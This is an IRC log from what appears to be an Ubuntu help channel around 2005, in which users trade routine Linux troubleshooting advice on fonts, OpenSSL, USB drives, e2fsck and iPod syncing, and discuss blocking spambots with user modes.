[02:36] <David715> if I run w/o sudo, I get Permission denied
[02:37] <David715> if I use sudo, I get command not found
[02:37] <Madpilot> damn - I still can't set "/umode +CE" to block spam - what's the trick now?
[02:37] <David715> mine is in /bin/ but if I do a locate, it does not find it
[02:37] <cafuego> You compiled your own openssl and dumpedmit in the filesystem at large?
[02:37] <reiki> when does one use gksudo instead of sudo?
[02:37] <NoUse> David715 openssl provides CA.pl
[02:37] <NoUse> David715 http://packages.ubuntu.com/cgi-bin/search_contents.pl?word=CA.pl&searchmode=searchfiles&case=insensitive&version=hoary&arch=i386
[02:37] <apokryphos> reiki: whenever opening a GUI app as root, ideally
[02:38] <jasoncohen> reiki, if you want it to ask for your password in a graphical screen- for example for a desktop icon or menu entry
[02:38] <reiki> apokryphos: ok... makes sense. thanks
[02:38] <Madpilot> reiki: "man gksudo" at a command prompt
[02:38] <nalioth> Madpilot: guess they're getting smarter. have you /whois'd one of the nasty pR0nbots?
[02:38] <Madpilot> got to go, everyone, be back later
[02:38] <burner> anyone know if the latest Breezy rhythmbox is supposed to be working again?
[02:38] <David715> ok, CA.pl is there, but it will not let me run it
[02:38] <Madpilot> nalioth: not yet, my ride's here, so I've got to go. Later...
[02:38] <nalioth> cafuego: c'mon man, we're here to educate
[02:39] <David715> did realize locate was caps sens also
[02:39] <gdarel> anyoneknow of a god way to convertVOB files to something like Mov or AVI's?
[02:39] <cafuego> David715: You have another problem to contend with now, which is various OTHER openssl libs and binaries spread around your system.
[02:39] <NoUse> David715 change the permissions then
[02:39] <Concord_Dawn> Hi everyone
[02:39] <Knorrie> hi
[02:39] <apokryphos> burner: just checked mine and it crashes on startup. I take that as a no ;-)
[02:39] <Arsonide> I ran that script at the bottom of http://wiki.ubuntu.com/RestrictedFormats and got an error.
[02:39] <ikkys> hi folks
[02:39] <David715> ok, that is fixed with chmod, right?
[02:39] <cafuego> David715: Do you remember which ones were copied bu 'make install' and can you remove them my hand?
[02:39] <ikkys> can i copy windows font to ubuntu?
[02:39] <Concord_Dawn> anyone know a good backup utility? I'd like to save everything in Ubuntu, including settings
[02:39] <durt> burner: mine didnt crash
[02:40] <apokryphos> ikkys: yes, or you can just install the MS font package
[02:40] <reiki> !msttcorefonts
[02:40] <ubotu> reiki: parse error: dunno what the heck you're talking about
[02:40] <burner> well mine crashes too
[02:40] <reiki> ack
[02:40] <apokryphos> !info msttcorefonts
[02:40] <burner> durt: do anything special?
[02:40] <ubotu> msttcorefonts: (Installer for Microsoft TrueType core fonts), section multiverse/x11, is optional. Version: 1.2ubuntu1 (hoary), Packaged size: 21 kB, Installed size: 160 kB
[02:40] <skalpel> can someone tell me what to do if my mouse behaves eratically?
[02:40] <reiki> doh!
[02:40] <reiki> I was close
[02:40] <David715> I can remove it by hand with a simple reinstall of the OS (Im using the box for testing)
[02:40] <ikkys> apokryphos, so hows that? emerge msttf?
[02:40] <cafuego> David715: Good, because you don't want those files hanging around
[02:40] <David715> how would I know where it installed? I thought it used default directories
[02:41] <ikkys> apt-get msttf?
[02:41] <durt> burner: nope, i did upgrade my packages today though
[02:41] <Tripp> Ok, I have a laptop set up with Ubuntu only no Windows, and I have no internet for it yet.  I'm trying to install a program called Penggy, without the use of internet, does anyone have any ideas?
[02:41] <apokryphos> ikkys: no, this isn't gentoo :)
[02:41] <burner> hrm...
[02:41] <nalioth> Concord_Dawn: g4u
[02:41] <burner> me too, oh well, thanks guys
[02:41] <apokryphos> ikkys: sudo aptitude install msttcorefonts
[02:41] <NoUse> David715 most of the time you can do 'make uninstall'
[02:41] <nalioth> David715: the *nix way is install once, never "install" again
[02:41] <nalioth> David715: this is not windows where you reinstall every time a bird flies by the window
[02:41] <gdarel> anyone know of a good way to convertVOB files to something like Mov or AVI's?
[02:42] <David715> lol
[02:42] <David715> thanks nali
[02:42] <David715> yeah, just trying to get used to linux :)
[02:42] <ikkys> apokryphos, so, whats the diffbetwenn aptitude and apt-get?
[02:42] <cafuego> David715: Next time you run ./configure on anything, use --prefix=/usr/local
[02:42] <Zodiac> Oh than god
[02:42] <Zodiac> It is back up
[02:42] <David715> ok
[02:42] <nalioth> gdarel: dvdrip
[02:42] <David715> what does that do
[02:42] <Zodiac> that was a rough couple of days :)
[02:42] <apokryphos> ikkys: a few fine differences; aptitude installs recommended packages by default etc etc
[02:42] <cafuego> David715: That will keep anything installed separate from the packaged files.
[02:42] <Zodiac> Guys, is Gdesklets worth it?
[02:43] <ikkys> so from now on use aptitude rather apt-get?
[02:43] <apokryphos> ikkys: see google for more
[02:43] <cafuego> David715: it won't by default end up in your path; which can cause unexpected results further down the track.
[02:43] <Zodiac> It looks neat in screenshots but I downloaded it and it seemed a damn nightmare
[02:43] <apokryphos> ikkys: not necessarily, no.
[02:43] <Concord_Dawn> can someone tell me a good backup utility for Ubuntu? I'd like to keep everything.
[02:43] <nalioth> David715: and the next time you compile something, use "checkinstall" (available via apt) instead of "make install" (checkinstall makes debs for easy removal of your stuff)
[02:43] <cafuego> David715: Like "But I installed the openssl 2 package, why is it still using version 1.2 from /bin/ssl' ?
[02:43] <David715> ah
[02:43] <nalioth> ikkys: aptitude and synaptic are frontends to apt-get
[02:44] <apokryphos> ikkys: you get an interface with aptitude, too, if you can handle its ugliness ;-)
[02:44] <David715> ok, you guys are awesome! :) trying so hard to learn this stuff
[02:44] <Zodiac> ahhh there is still spam?
[02:44] <Zodiac> Damn
[02:45] <lunitik> Zodiac, /mode Zodiac +E will get rid of it  :)
[02:45] <lunitik> Someone should add that to the topic...
[02:45] <Zodiac> yea I checked the top and read it
[02:45] <ikkys> oh
[02:45] <ikkys> ok
[02:45] <skpl> torbnaod?
[02:45] <Zodiac> What exactly happened?
[02:45] <nalioth> David715: you have gained software freedom. and a whole nother mindset on how to do things
[02:45] <David715> yup, trying...so hate windows
[02:45] <Zodiac> Is there a news brief on it?
[02:46] <David715> and enlightenment is starting to look really awesome
[02:46] <Zodiac> I didnt think so
[02:46] <nalioth> lunitik: recommend +CE, if you please (stops unregged users from sending you PMs or CTCPs)
[02:46] <Zodiac> I thought it looks sloppy... but the screenshots werent that good
[02:46] <reiki> is smeg in backports?
[02:46] <nalioth> !smeg
[02:46] <ubotu> from memory, smeg is a Simple Menu Editor for GNOME. Get it at http://www.realistanew.com/projects/smeg/ or from backports.
[02:47] <ikkys> apokryphos: justwondering, i have 2 pc, side by side, 1 running windows, 1 on ubuntu, im opening 2 sites from these pcs using firefox, the problem is, fonts on the site on the windows pc looks just fine, slim and looks ok i guess, but font on the site running ubuntu looks think and big. how do i fix that if its possible?
[02:47] <Zodiac> you have to download the MS core fonts
[02:47] <nalioth> ikkys: steal the windows fonts, put them in your homedirectory in a folder called .fonts
[02:47] <Zodiac> then just change it in your settings
[02:47] <apokryphos> ikkys: you could adjust the font size from firefox there; though note however that the ubuntu-firefox is ocmpiled differently to the windows one
[02:47] <apokryphos> ikkys: plus you may need the MS fonts package
[02:47] <Zodiac>  There should be a package
[02:48] <David715> thanks for all your help guys...gonna try to go fix my mistakes now :)
[02:48] <lunitik> nalioth, any reason he shouldn't just sudo apt-get install msttcorefonts ?
[02:48] <apokryphos> lunitik: no :P
[02:48] <chris__> hi, anyone remember the name of the prog. that allows you to change cursor themes?
[02:49] <nalioth> lunitik: no reason at all, but i used to have scads of fonts on my windows box (way back when i used windows)
[02:49] <ikkys> but i have installed the ms font package. they still look the same. input box'es on ubuntu looks bigger, pictures or jpegs looks like its faded...i just dont get it, everything is like blurred, they arent sharp...
[02:49] <oro> I'm having problems with my sound.. can anyone help please?
[02:49] <reiki> smeg on backports is "broken package".
[02:49] <reiki> :)
[02:49] <lunitik> nalioth, putting those into /usr/share/fonts is much more useful  ;)
[02:49] <NoUse> !tell oro about sound
[02:49] <apokryphos> ikkys: you'll need to restart FF of course, if you hvaen't done so.
[02:50] <jasoncohen> what's with all these porn bots tonight?
[02:50] <cafuego> lunitik: Depends, popping 'em in ~/.fonts is quicker (or symlinking ~/.fonts)
[02:50] <ikkys> im wondering how it be like if i use css or edit my website, would it look different on windows
[02:50] <oro> i'll check that out.. thanks
[02:50] <chris__> hi, anyone remember the name of the prog. that allows you to change cursor themes?
[02:50] <lunitik> cafuego, true... it would work... just only for that user... maybe I'm overlooking that this is an Ubuntu system  ;)
[02:50] <apokryphos> ikkys: fc-cache you need to run when you place them in /usr/share/fonts etc.. but not sure if that's the case with installing the package. Can't hurt to run it.
[02:51] <nalioth> lunitik: there are several places fonts can be placed. i recommend the simplest
[02:51] <apokryphos> nalioth: that's useless if they want them system-wide
[02:51] <apokryphos> no point having them all over the place if that's the case.
[02:51] <chris__> anyone?
[02:51] <lunitik> nalioth, you're not wrong... just like my privious statements about /usr/local... I simply have a different view...
[02:52] <cafuego> apokryphos: Most ubuntu boxen are single-user systems, though.
[02:52] <nalioth> apokryphos: how many of these users in here now are running multiuser systems?
[02:52] <apokryphos> Most; but not all
[02:52] <ian> it seems that Tomboy has been broken in Hoary for months now.  anyone have it working?
[02:52] <apokryphos> putting them in /usr solves the problem for *all*
[02:52] <nalioth> apokryphos: most users in #ubuntu are running multiuser boxes?
[02:52] <lunitik> cafuego, am I right in thinking that you lack a third leg?  :P
[02:52] <apokryphos> nalioth: no, the opposite, as I said.
[02:53] <apokryphos> whoop, it came out wrong, I see. :)
[02:53] <rob_p> jasoncohen:  Yeah, I was getting a lot of those pornbot msgs too.  I set my umode to +E and I haven't gotten any since... (fingers crossed)
[02:53] <apokryphos> most are running single-user, sure. But not all.
[02:53] <nalioth> apokryphos: i'm sure the ones running multiuser, know where to put the fonts (and other things)
[02:53] <apokryphos> nalioth: not a safe assumption.
[02:53] <apokryphos> nalioth: when I first started out we had many users, as there's many people in our family. I had no clue where to put them for system-wide; I barely knew the bifurcation.
[02:54] <nalioth> apokryphos: i find it hard to believe that anyone who can set up a multiuser linux system wouldn't know how to maintain it (i dont think most of these users know you can log in with different users on the same hardware simultaneously)
[02:54] <lunitik> cafuego, haha... no really... I know either you or caphuso was female... I always get you both confused though  :(
[02:55] <apokryphos> nalioth: you err in presupposing that "maintaining it" necessarily incldues "knowing where fonts go for system-wide things"
[02:55] <jasoncohen> rob_p, what is umode +E?
[02:55] <lunitik> jasoncohen, no messages from non-registered users
[02:55] <jasoncohen> ah
[02:55] <hector_acosta> how do i close a window in irssi?
[02:55] <ikkys> ok, i think the font problem isfixed. now i can seeverdana fonts on my website. ok thats cool...now, how do i make everything not anti-alias on linux? i can say just about everything on linux is anti-aliased. the pictures, fonts, everything, they look kinda blur. compare the white #FFFFFF color with your windows #FFFFFF, all i can say, the white is a bit off white as its blurred. has anyone...
[02:55] <ikkys> ...came across this??? or i am the only person who got different settings?
[02:55] <apokryphos> nalioth: though of course I disagree with the latter point. You have ot login to get into gnome/kde etc. Seems fairly obvious that other usernames are possible there.
[02:55] <robotgeek> hector_acosta: /wc
[02:56] <rob_p> jasoncohen:  From the freenode page... " This umode prevents private messages from people who have not identified themselves to NickServ. They'll be told that their messages are bouncing."
[02:56] <chris__> hi, anyone remember the name of the prog. that allows you to change cursor themes? xcursor ,xmouse something like that.
[02:56] <kcidx> Anyone using breezy
[02:56] <kcidx> ?
[02:56] <hector_acosta> robotgeek: thanks
[02:56] <robotgeek> kcidx: yeah
[02:56] <jasoncohen> chris__, gcursor?
[02:56] <lunitik> jasoncohen, +C = no ctcp's from unregistered users....
[02:56] <chris__> YES thats it thank you
[02:56] <kcidx> robot did you just upgrade and have it break 3d rendering
[02:56] <kcidx> ?
[02:56] <jasoncohen> chris__, that's what i used to change my cursor theme
[02:57] <chris__> thanks jason
[02:57] <robotgeek> kcidx: did u mean me? if so, please tab-complete my nick. otherwise, it doesn't highlight
[02:57] <jasoncohen> chris__, np
[02:57] <Daywalker> is there really no way to get basic opengl support for old ati cards (ati rage)
[02:57] <nalioth> rob_p: jasoncohen: use +CE (stops PMs and CTCPs from unregged users)
[02:57] <kcidx> now when i run glxinfo i get this name of display: :0.0
[02:57] <kcidx> Xlib:  extension "XFree86-DRI" missing on display ":0.0".
[02:57] <kcidx> robotgeek, its broken
[02:57] <robotgeek> kcidx: if u did mean me, no..worked fine
[02:58] <kcidx> robotgeek, any idea what that error is? i'm using fglrx
[02:58] <Zodiac> damn I spilled beef steed on my keyboard, I dont think it will ever be the same :(
[02:58] <rob_p> nalioth:  Cool!  Tnx!  I'll add it to my auto login commands...
[02:58] <robotgeek> anyone help me with spam bots, i got queried here!
[02:58] <apokryphos> robotgeek: /topic
[02:59] <robotgeek> thanks
[02:59] <apokryphos> !spambots
[02:59] <ubotu> spambots is, like, totally, at http://freenode.net/faq.shtml#spambots
[02:59] <apokryphos> ...also
[02:59] <robotgeek> thanks :)
[02:59] <carthik> HI guys, i installed ubuntu on this 800Mhz pentium box, which has usb ports, but when I plugin a external usb harddrive, nothing automounts... it does work on my ubuntu laptop .. how can i try and figure out what's wrong?
[02:59] <apokryphos> cafuego: how can you make responses to actions in the channel
[02:59] <apokryphos> cafuego: i.e. "Root has landed!"
[02:59] <cafuego> apokryphos: That's a perl module.
[03:00] <robotgeek> carthik: it shud automount at /media/<label>
[03:00] <carthik> robotgeek, butit does not...
[03:00] <robotgeek> carthik: dmesg?
[03:00] <ian> anyone use Tomboy?
[03:00] <cafuego> apokryphos: what did you have in mind?
[03:00] <apokryphos> cafuego: not an option as a response to factoid? Geh. Yes, I remember -- perl=evil.
[03:00] <lunitik> cafuego, sup at not answering me.... haha
[03:00] <robotgeek> ian: yeah
[03:01] <cafuego> lunitik: Did you miss me swinging the third leg and hitting you in the eye?
[03:01] <apokryphos> cafuego: i.e. "root has joined the channel"... ubotu: "Woo! Root has landed!" ... same as apt.
[03:01] <lunitik> cafuego, ahh... guess so.... *goes to find a magnifying glass*  8)
[03:01] <cafuego> apokryphos: Yeah, that's an optional module, rootWarn.pl
[03:01] <ian> robotgeek: so it's fixed in breezy?
[03:01] <kcidx> robotgeek, are you using ATI drivers?
[03:01] <robotgeek> kcidx: i am on a powerbook, old one
[03:02] <carthik> dmesg says nothing about usb devices...all it says is "agpgart: found an AGP V2.0 compliant device...." but i dont know if that has anything to do with the usb hddd
[03:02] <ttyS0> is that possible to change brown background on startup? :)
[03:02] <carthik> robotgeek, sorry ^^
[03:02] <cafuego> apokryphos: Which is set to passive atm, not active.
[03:02] <D1> whats with all the spam?
[03:02] <apokryphos> right
[03:02] <apokryphos> D1: evil spambots.
[03:02] <NoUse> D1: /topic
[03:02] <D1> ;[
[03:02] <ian> robotgeek: does tomboy work without problem on breezy?
[03:02] <kcidx> robotgeek,  this is the error from Xorg.log  (EE) fglrx(0): R200DRIScreenInit failed (DRI version = 5.0.0, expected 4.1.x). Disabling DRI.
[03:02] <carthik> ttyS0 yes, choose and set a different background, and that will be maintained when you logout and then in
[03:03] <apokryphos> ian: what is it?
[03:03] <kcidx> robotgeek, any clues?
[03:03] <NoUse> kcidx there is a bug in bugzilla
[03:03] <nalioth> D1: see the topic
[03:03] <Webby`> Help me please
[03:03] <carthik> we need more robotgeeks around here :)
[03:03] <cafuego> apokryphos: Ought I rewrite it to say "Ubuntu users can't log in as root, you'r enot using ubuntu, go away!" when a root@user joins?
[03:03] <carthik> Webby`, can i help you?
[03:03] <ttyS0> carthik, I've blue background but on startup it becames brown & then blue :)
[03:03] <Webby`> I can't get gtkpod to work
[03:03] <robotgeek> brb!
[03:03] <ian> apokryphos: http://www.beatniksoftware.com/tomboy/
[03:03] <NoUse> Webby` thats not a question
[03:03] <Webby`> How do I get gtkpod to work?
[03:03] <robotgeek> okay...
[03:04] <NoUse> point gtkpod to where your ipod is mounted
[03:04] <lunitik> Webby`, no idea... it apparently does though  :/
[03:04] <lunitik> Webby`, ask the devs?
[03:04] <apokryphos> cafuego: you could, sure ;-)
[03:04] <kcidx> NoUse, so does that mean its being fixed....or is there a work around?
[03:04] <carthik> ttyS0, oh, so the splash screen...when the things get started and up and running? try changing the startup theme, or something to that effect...
[03:04] <ian> apokryphos: one of the best linux apps, I think
[03:04] <Webby`> Anyone know how to get gtkpod to work in ubuntu?
[03:04] <NoUse> kcidx no I'm asking is there a bug filed?
[03:04] <NoUse> Webby` I just told you
[03:04] <ttyS0> carthik, oh. thanks. i'll try
[03:04] <kcidx> NoUse, i haven't filed one.
[03:04] <gdarel> Anyone know how I exacute DVDrip once it's installed (feels dmb)
[03:04] <carthik> Webby`, it used to work fine for me...
[03:04] <NoUse> kcidx have you searched?
[03:04] <robotgeek> carthik: try to do lsmod and see if you see the usb modules, else load it
[03:04] <carthik> Webby`, what about it is not working?
[03:05] <kcidx> NoUse, yes. but came up short handed
[03:05] <NoUse> Webby` in gtkpod preferences, point it to the mount point of your ipod
[03:05] <apokryphos> ian: hm, link doesn't load; I'll just install. Note program, eh.
[03:05] <NoUse> kcidx then you might want to file a bug
[03:05] <carthik> robotgeek, i get usbcore, u/o/ehci_hcd ??
[03:05] <cafuego> !root
[03:05] <ubotu> extra, extra, read all about it, root is disabled in Ubuntu, you can read all about it on http://wiki.ubuntu.com/RootSudo
[03:05] <ian> apokryphos: what ubuntu version are you using?  tomboy seems broken for me in Hoary
[03:06] <carthik> ian, worked for me, but like all things mono (apparently) mileage varies...
[03:06] <robotgeek> ian: i am using breezy, so it's fixed there,i guess!
[03:06] <apokryphos> ian: broken as in doesn't start up? Seems to load fine in breezy at least
[03:06] <apokryphos> ian: though /me always uses KNotes :P
[03:06] <cafuego> !root again
[03:06] <ubotu> cafuego: I give up, what is it?
[03:07] <ian> carthik: try adding a note?  that's when it dies for me
[03:07] <robotgeek> carthik: i get the same thing too..weird!
[03:07] <carthik> ian, on hoary - it worked just fine...err.. except when i had tomboy running...
[03:07] <gdarel> Anyone know how I exacute DVDrip once it's installed (feels dmb)
[03:07] <Webby`> NoUse: I point it to where my ipod is aand I get this error --> Could not open "iTunesDB.ext" for reading extended info.
[03:07] <Webby`> Extended info will not be used.
[03:07] <Webby`> iPod Database Import Failed: 'Illegal seek to offset 1035926 (length 4) in file '/media/ipod/iPod_Control/iTunes/iTunesDB'.'
[03:07] <carthik> robotgeek, same thing? usb hdd not mounting?
[03:07] <carthik> robotgeek, yeah, i understand you, this is weird....
[03:08] <robotgeek> carthik: i have the same modules loaded, but usb hdd works
[03:08] <ian> carthik: what?  tomboy worked fine except when you had tomboy running?
[03:08] <robotgeek> lol
[03:08] <root_> cafuego: though, it happens when sudo {irclient} too
[03:08] <cafuego> !rootwarn
[03:08] <ubotu> there have been 10 rooters warned about root.
[03:08] <carthik> robotgeek, would you know if, since, my desktop is old and prolly doesn't have usb 2.0 - would tht be the problem?
[03:08] <cafuego> root_: I should certainly hope so.
[03:08] <carthik> ian...oops, except when i had beagles indexer running at startup :) d'oh
[03:09] <ian> carthik: do you still use hoary and tomboy?
[03:09] <robotgeek> carthik: my laptop doesn't have usb 2.0
[03:09] <root_> cafuego: so they would be using Ubuntu
[03:09] <vader1102> 'nor does mine
[03:09] <cafuego> go away ubotu
[03:09] <lunitik> cafuego, damnit  :(
[03:09] <carthik> ian-no - my laptop hdd crashed (totally unrelated incident) and i am in th process of installing stuff - only i am not too sure i want mono apps just yet
[03:09] <apokryphos> bingbang the witch is dead!
[03:09] <Webby`> Why do I get that error in gtkpod?
[03:10] <robotgeek> *waaaaaaaaah* my cousin died!
[03:11] <ian> robotgeek: what?  just now?
[03:11] <NoUse> Webby` put that error into google and see what you find
[03:11] <Webby`> ok
[03:11] <NoUse> Webby` I've never seen that before
[03:11] <cafuego> lunitik: what now?
[03:11] <apokryphos> ian: he's referring to the bot in the channel :)
[03:11] <gdarel> Anyone know how I exacute DVDrip once it's installed (feels dmb)
[03:11] <apokryphos> robotgeek: ubuntulog is still alive, nevermind.
[03:12] <vader1102> !botsnack
[03:12] <robotgeek> ian: ubotu is a far cousin!
[03:12] <lunitik> cafuego, getting rid of ubotu  ... he's useful  :(
[03:12] <cafuego> !test
[03:12] <ubotu> Passed.
[03:12] <robotgeek> !lart cafuego
[03:12] <vader1102> !botsnack
[03:12] <ubotu> :)
[03:12] <cafuego> lunitik: you're hallucinating
[03:13] <lunitik> cafuego, hmm... just not paying attention... ubotu left for a second though... I saw it  ;)
[03:13] <root_> ubotu: I think we'll get on fine.
[03:13] <ubotu> root_: Are you on ritalin?
[03:13] <|Imp|> ubotu: whats up dude?
[03:13] <ubotu> |Imp|: Wish i knew
[03:13] <|Imp|> :D
[03:14] <HrdwrBoB> !play
[03:14] <ubotu> All work and no play. Please don't play with me in the channel; experiment with me in /msg
[03:14] <|Imp|> ubotu: you don't get out much do you?
[03:14] <ubotu> I haven't a clue, |Imp|
[03:14] <funkyHat> ubotu, |Imp| is someone who smokes a lot of crack
[03:14] <ubotu> okay, funkyHat
[03:14] <NoUse> haha
[03:14] <|Imp|> thats not fair
[03:14] <|Imp|> !|imp|
[03:14] <HrdwrBoB> what's with all the bots
[03:14] <ubotu> it has been said that |imp| is someone who smokes a lot of crack
[03:14] <carthik> robotgeek, so any way of figuring out what the heck is wrong with my usb drivers/harddrive/port ?
[03:14] <|Imp|> aww crap
[03:14] <funkyHat> :D
[03:15] <robotgeek> carthik: okay, tried and tested method...did a reboot work :)
[03:15] <|Imp|> ubotu, funkyHat is mean to |Imp|
[03:15] <ubotu> okay, |Imp|
[03:15] <|Imp|> :)
[03:15] <funkyHat> :D
[03:15] <HrdwrBoB> guys
[03:15] <cafuego> !|Imp| =~ s/crack/crap/
[03:15] <HrdwrBoB> !play
[03:15] <ubotu> All work and no play. Please don't play with me in the channel; experiment with me in /msg
[03:15] <ubotu> OK, cafuego
[03:15] <carthik> robotgeek, hah! going down NOW!
[03:15] <cafuego> #debian-bots is a playground as well (and there's MORE bots there)
[03:16] <carthik> robotgeek, thanks for trying....
[03:16] <carthik> will be back
[03:16] <lunitik> cafuego, you keep a log about what people do with the bot?
[03:16] <ian> lunitik: sicko...
[03:16] <cafuego> lunitik: the bot logs EVERYTHING
[03:16] <apokryphos> lunitik: view his searchable brain at /msg ubotu list
[03:16] <Paradoxx> bah, how do i block spammers?
[03:17] <apokryphos> ubuntulog logs channel too ;-)
[03:17] <apokryphos> Paradoxx: /topic
[03:17] <ali4728> newbie seeks help - name based virtual server for multiple sites on the same IP!
[03:17] <greivance> does anyone know how to change your mode in Chatzillia?  (So much spam!)
[03:17] <apokryphos> greivance: /topic
[03:17] <lunitik> cafuego, fun  :)
[03:17] <greivance> thank you
[03:18] <cafuego> lunitik: Waste of disk space, if you ask me.
[03:18] <gdarel> Anyone know how I exacute DVDrip once it's installed (feels dmb)
[03:18] <HrdwrBoB> cafuego: disk space is $SFA
[03:18] <HrdwrBoB> gdarel: run 'dvdrip'
[03:18] <Concord_Dawn> ali4728, you and I are in the same boat. I'd like to do that as well.
[03:18] <vader1102> !botsnack
[03:18] <ubotu> thanks vader1102 :)
[03:18] <lunitik> cafuego, indeed... *cough*  :P
[03:19] <cafuego> HrdwrBoB: That depends on whether you host for $SFA at an ISP you work at, or pay a fee for a box in a datacenter.
[03:19] <lunitik> cafuego, oh... you happen to have the bots code up anywhere? blootbot = horribly broken... nice to see how you fixed things...
[03:19] <cafuego> HrdwrBoB: Sure I can add another 250GB disk at home, but that's not on a useful link and irc logs are STILL a waste of disk space ;-)
[03:20] <apokryphos> cafuego: ubuntulog already does that, so there's no need to save it...
[03:20] <cafuego> lunitik: It's the CVS one with s/debian/ubuntu/ and different mirror sites
[03:20] <cafuego> apokryphos: Yep
[03:21] <lunitik> cafuego, ahh.... k... thanks  :)
[03:21] <cafuego> apokryphos: I logrotate 'em; just in case someone does fuck up the bot
[03:21] <cafuego> got about a months worth
[03:21] <apokryphos> right
[03:22] <ali4728> newbie seeks help - name based virtual server for multiple sites on the same IP!
[03:23] <cafuego> ali4728: The apache docs are not at all difficult
[03:23] <Agrajag> you'd be better off asking in #apache probably
[03:23] <Carpe_Libertatem> I have a problem. I have a dual-boot system. On HDB, I have three partitions, an NTFS, a Swap, and An Ext2/3. I used a program to automatically mount all partitions, and now Windows sees HDB as one huge RAW disk.
[03:23] <cafuego> ali4728: See /etc/apache2/sites-available/default? Copy that file to a new name, change the DocumentRoot and ServerName, voila, first new vhost.
[03:23] <vader1102> bbl have a great night
[03:24] <ali4728> cafuego, wish it was that easy!
[03:25] <cafuego> ali4728: I've always found it to be
[03:25] <cafuego> ali4728: Of course, adding the right ip/host combo to /etc/apache2/ports.conf helps.
[03:26] <Carpe_Libertatem> I have a problem. I have a dual-boot system. On HDB, I have three partitions, an NTFS, a Swap, and An Ext2/3. I used a program to automatically mount all partitions, and now Windows sees HDB as one huge RAW disk.
[03:28] <cafuego> Sheesh,. maybe an op can re-enable +f or something
[03:28] <robotgeek> cafuego: what's +f ?
[03:29] <lunitik> robotgeek, /help mode
[03:29] <cafuego> robotgeek: overflow channel for non-registered users
[03:29] <blaed> anyone know where the gdm.conf on the hoary livecd is generated/copied/customised from? trying to customise the live cd, but when i edit etc/gdm.conf on the compressed filesystem, some of the values are overriden? i want to use automaticlogin instead of timedlogin for gdm...
[03:29] <cafuego> robotgeek:... to block these bots
[03:30] <robotgeek> u mean to boot to ubuntu-unregged?
[03:30] <puzzle> hello
[03:30] <cafuego> yah
[03:30] <lunitik> cafuego, thats what #fedora does i think... but its hardly far to users that are new to IRC...
[03:30] <apokryphos> lunitik: temporarily, most probably.
[03:30] <Concord_Dawn> can someone tell me a good backup utility for Ubuntu? I'd like to keep everything.
[03:30] <cafuego> lunitik: I don't see why people not new to irc should suffer because others cnanot read.
[03:30] <puzzle> i knew there was a site where you could go and it has programs for new users of ubuntu
[03:30] <puzzle> anyone have site
[03:30] <cafuego> the topic on #unregged is clear enough
[03:30] <puzzle> can someone help me
[03:30] <puzzle> please
[03:31] <carthik> say, how long would e2fsck take to complete a check on a 200 GB hdd?
[03:31] <puzzle> hello
[03:31] <cafuego> carthik: Depends on how broken it is.
[03:31] <puzzle> somone please tell me
[03:31] <carthik> puzzle, if you let others help, they will.... just ask the question
[03:31] <cafuego> carthik: .. and how fast it runs.
[03:31] <dionysus> puzzle, you're not being very specific, but ubuntuguide.org is a nice first stop
[03:31] <carthik> cafuego -- in hours or minutes?
[03:31] <cafuego> carthik: Probably 10 to 20 minutes if there are no major errors.
[03:32] <apokryphos> carthik: minutes; also depends on your setup of course
[03:32] <carthik> cafuego - alright, though in the worst case it could be 1+ hour, eh?
[03:32] <apokryphos> very unlikely
[03:32] <Concord_Dawn> can someone tell me a good backup utility for Ubuntu? I'd like to keep everything.
[03:32] <{GuNNeR}> has anyone here heard of broadcom wireless card only working with 64 bit drivers?
[03:32] <cafuego> carthik: If it's full of tiny files you've got a problem, yes
[03:32] <codecaine> anyone know what this " 2>&1" is for in bash programming?
[03:32] <carthik> it is still on Pass 1: checking inodes,... after about 15 minutes
[03:32] <cafuego> {GuNNeR}: No, I've only heard of them not working.
[03:32] <Agrajag> redirect stderr to stdout
[03:32] <carthik> codecaine, &1 &2 are all all standard streams...
[03:33] <fanopnaic> carthik: half an hour seems to be reasonable.
[03:33] <Agrajag> 2> redirects stderr, &1 is stdout
[03:33] <NoUse> codecaine that redirects stderr to stdout
[03:33] <{GuNNeR}> cafuego: it's weird, the only drivers I can find are 64 bit which work (of course) only in 64 bit linx of any distro...however when I try to use a 32 bit driver (all of this under ndiswrapper mind you) nothing will work at all
[03:33] <fanopnaic> carthik: didn't you start it with -C0 ?
[03:33] <cafuego> carthik: yes, passes 2 through 5 runs much, MUCH faster.
[03:33] <Concord_Dawn> can someone tell me a good backup utility for Ubuntu? I'd like to keep everything
[03:33] <codecaine> thank you
[03:33] <cafuego> {GuNNeR}: You on a 32bit Linux kernel?
[03:33] <carthik> fanopiac, no... just e2fsck -v (hoping it would speak more.. but it's real shy :) )
[03:33] <lexmark> is it possible to install .rpm package?
[03:34] <lexmark> on unbuntu?
[03:34] <NoUse> !alien
[03:34] <ubotu> alien is, like, totally, a program to convert RPMs to DEBs. Can give problems. Website: http://www.kitenet.net/programs/alien/
[03:34] <cafuego> lunitik: Yes, but it's NOT a good idea.
[03:34] <fanopnaic> carthik: anyway, -C0 gives you a progress bar and stuff
[03:34] <{GuNNeR}> cafuego: currently on nothing right now since I've formatted my hd - debating if I wanna go back to ubuntu or try FC4
[03:34] <robotgeek> carthik: mounted?
[03:34] <carthik> Concord_Dawn, on another hard drive, another machine? search for "rsync automated ssh backups"
[03:34] <lexmark> thanx nouse
[03:34] <codecaine> NoUse, do you know of a quick tutorial on these types of things, i dont want a whole book like the one on tldp.org
[03:34] <codecaine> i just want to know about those types of things and like what -e and -a and -r and -x are all about
[03:34] <{GuNNeR}> cafeuego: however the only time I had success with my broadcom card was in 64 bit ubuntu with the 64 bit drivers
[03:35] <carthik> robotgeek, no, i let the dude do his e2fsck in peace, after not letting it the last time i was impatient (different hdd though...)
[03:35] <robotgeek> carthik: okay
[03:35] <carthik> fanopnaic, oh, i see.. that is what i wanted... next time, perhaps...
[03:35] <NoUse> codecaine http://linuxcommand.org/
[03:35] <carthik> fanopnaic, thanks :)
[03:35] <fanopnaic> np :)
[03:35] <Concord_Dawn> carthik, on this hdd to another
[03:35] <codecaine> NoUse, thank you!
[03:35] <TylerE> Does anyone know a good TTF unicode font? Preferably monospaced
[03:35] <cafuego> {GuNNeR}: Yes, the 32bit drivers are never going to work on a 64bit kernel (and vice versa)
[03:36] <carthik> Concord_Dawn, ?? this is at start up, on a hdd that is mounted at /stuff ?
[03:36] <cafuego> TylerE: bitsream vera sans mono ?
[03:36] <ronald_> Did you guys just get the spam messages from VgnaGirl and denizliAolg?
[03:36] <Concord_Dawn> carthik, I want to backup to an external HDD
[03:36] <NoUse> ronald_ read the topic
[03:36] <carthik> Concord_Dawn, oh, sorry -- so you want to backup onto the same hdd? rsync is probably the best option - i beleive...
